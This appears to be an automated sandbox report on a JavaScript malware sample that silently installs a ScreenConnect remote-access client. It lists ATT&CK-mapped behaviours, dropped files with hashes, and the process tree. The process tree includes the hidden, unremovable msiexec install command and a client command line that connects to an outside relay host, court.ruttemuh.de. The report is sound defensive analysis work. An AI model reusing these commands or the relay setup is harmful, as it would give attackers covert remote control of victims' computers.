Analysis

  • max time kernel
    148s
  • max time network
    145s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/09/2026, 18:19

General

  • Target
    Docs-745ecd5c55b2.js
  • Size 3.1MB
  • Sample260919-wx7d7avbme
  • SHA256 0804bbff2a3572c27d6899d4dc7573b6049d1270bd379556f89c1d57e8d82551
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 25 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 15 IoCs
  • Drops file in Windows directory 25 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Docs-745ecd5c55b2.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5132
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart ALLUSERS=1 ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1 ARPNOREPAIR=1
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1372
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1BE7802F93F9B8269C3368B9573864CB
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:6052
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI65C5.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240740406 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3732
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 18D7AE5C38F9DD6B528516B37F7AD5A5 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:404
  • C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=court.ruttemuh.de&p=8041&s=8a4c20b3-0a76-488a-b7b0-6cd6cc445ac4&k=BgIAAACkAABSU0ExAAgAAAEAAQANPNvM22X1FzmrHokg3STJmGLdh778SVujqTRcKmita5zH0KmOic0YvNAqO8Tj3bH0kexvDM2ToyYLSsNRkTtV0US2VBlUUE426e6gUdiJfGhhPml9FbeLpRTaFm%2fAr6iAbtPqgj29%2fkckRT%2ff8qJaJ6IqwcVrwdU7qmGOgK25W16hoc76IyxSbqQxs66h4K0qZdjKbpvi2aRAgd14An3QR0KeiFAJbSQzQz%2bxdIKcf9xU3ZzLN608etDsikhQnXKi1Se%2fSCn6knjo3sXm9Zrs1NWR2GQqy3ApWSWW%2fAw%2f%2bPb2XQvqtTIsPsLJacdSpPaUy16ksf2gNetNcI3C5uKv&t=&c=&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6032
    • C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.WindowsClient.exe" "RunRole" "83272f86-1c1a-400e-a5d0-59296a50b868" "User"
      2⤵
      • Executes dropped EXE
      PID:1076
    • C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.WindowsClient.exe" "RunRole" "3ffbcec6-ecb8-421d-82a0-9ffcd9da8ecb" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:2528

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e596309.rbs

        • Path C:\Config.Msi\e596309.rbs
        • Size 212KB
        • SHA256 1242ede2f7ad053203d012221afe693932f88e90e14704755773a701334e78d8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\Client.en-US.resources
        • Size 40KB
        • SHA256 e6062ed6322bcd81e007ed52223dd958fcf9a4f492b33040fc2b68b0f557ce7c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\Client.resources
        • Size 2KB
        • SHA256 64da2cfeacfcba97cad701da9288618bc42a20f69dd4a0fe5652ce49ef92524c
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.Client.dll
        • Size 153KB
        • SHA256 91ef17033e63abfd3769e3264f9b9999c03e8c1cbf9a935529ba588eecb1a1ee
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.ClientService.dll
        • Size 32KB
        • SHA256 ea2d01e8a1f0bce68d71887aa6a0e822179c2cc599c340a87ef4043cb47f8878
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.ClientService.exe
        • Size 88KB
        • SHA256 f1d3120597b8f1115f7bd5cd7110be8baca7b350a785774411ed2c265bce363e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 840629f95a1ce86843bda5222f852b589fb206cb4ecf33c7cd074207a2d5f23c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.WindowsClient.exe
        • Size 575KB
        • SHA256 87bee75f88520f8aaebb9d843f765ec6a1ecea288ed9470af202610d7357654d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (2807f8955d8e1162)\app.config
        • Size 2KB
        • SHA256 8e3dc9d06b282a536e1af7806d7f434d5738d4932dae557ccd762bfeed0bfc11
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\ProgramData\ScreenConnect Client (2807f8955d8e1162)\user.config
        • Size 550B
        • SHA256 16cdf59482ec6489da37b8620ebfd137b3d31d576644f9d23e1b1d9e34b4751c
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.ClientSetup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
        • Size 2.3MB
        • SHA256 6435f12b2c1850f2df175c1604bb56afc29753e7cc3b755ecda01eda98b780c7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI65C5.tmp

        • Path C:\Windows\Installer\MSI65C5.tmp
        • Size 357KB
        • SHA256 5dc07837213877ce025157a733ef13fd4a6b33b8c7e6e92eb4d790b98d5367cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI65C5.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI65C5.tmp-\ScreenConnect.Core.dll
        • Size 447KB
        • SHA256 e3f9f13e1237309ee53b2857ec479bb66c0a3b70a0370dc9940236d9a02782c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI65C5.tmp-\ScreenConnect.InstallerActions.dll
        • Size 18KB
        • SHA256 fe1ec5232d2c8e09000bc6d57ef568f1ee5c5fe31f5506312903c3a17cda0ce8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI6FBA.tmp

        • Path C:\Windows\Installer\MSI6FBA.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1076-104-0x0000000000330000-0x00000000003C4000-memory.dmp

        memory/1076-105-0x0000000002620000-0x000000000264C000-memory.dmp

        memory/1076-115-0x0000000000C10000-0x0000000000C1E000-memory.dmp

        memory/1076-111-0x0000000002800000-0x0000000002876000-memory.dmp

        memory/1076-114-0x000000001B990000-0x000000001BB18000-memory.dmp

        memory/1076-112-0x000000001B640000-0x000000001B7FA000-memory.dmp

        memory/3732-26-0x0000000003360000-0x00000000033D6000-memory.dmp

        memory/3732-22-0x00000000032D0000-0x00000000032DA000-memory.dmp

        memory/3732-18-0x0000000003280000-0x00000000032AE000-memory.dmp

        memory/6032-86-0x0000000004930000-0x0000000004AB8000-memory.dmp

        memory/6032-72-0x0000000004410000-0x000000000441E000-memory.dmp

        memory/6032-78-0x0000000004480000-0x00000000044AC000-memory.dmp

        memory/6032-85-0x0000000004770000-0x000000000492A000-memory.dmp

        memory/6032-92-0x0000000004E10000-0x0000000004E60000-memory.dmp

        memory/6032-91-0x0000000004E60000-0x0000000004EF4000-memory.dmp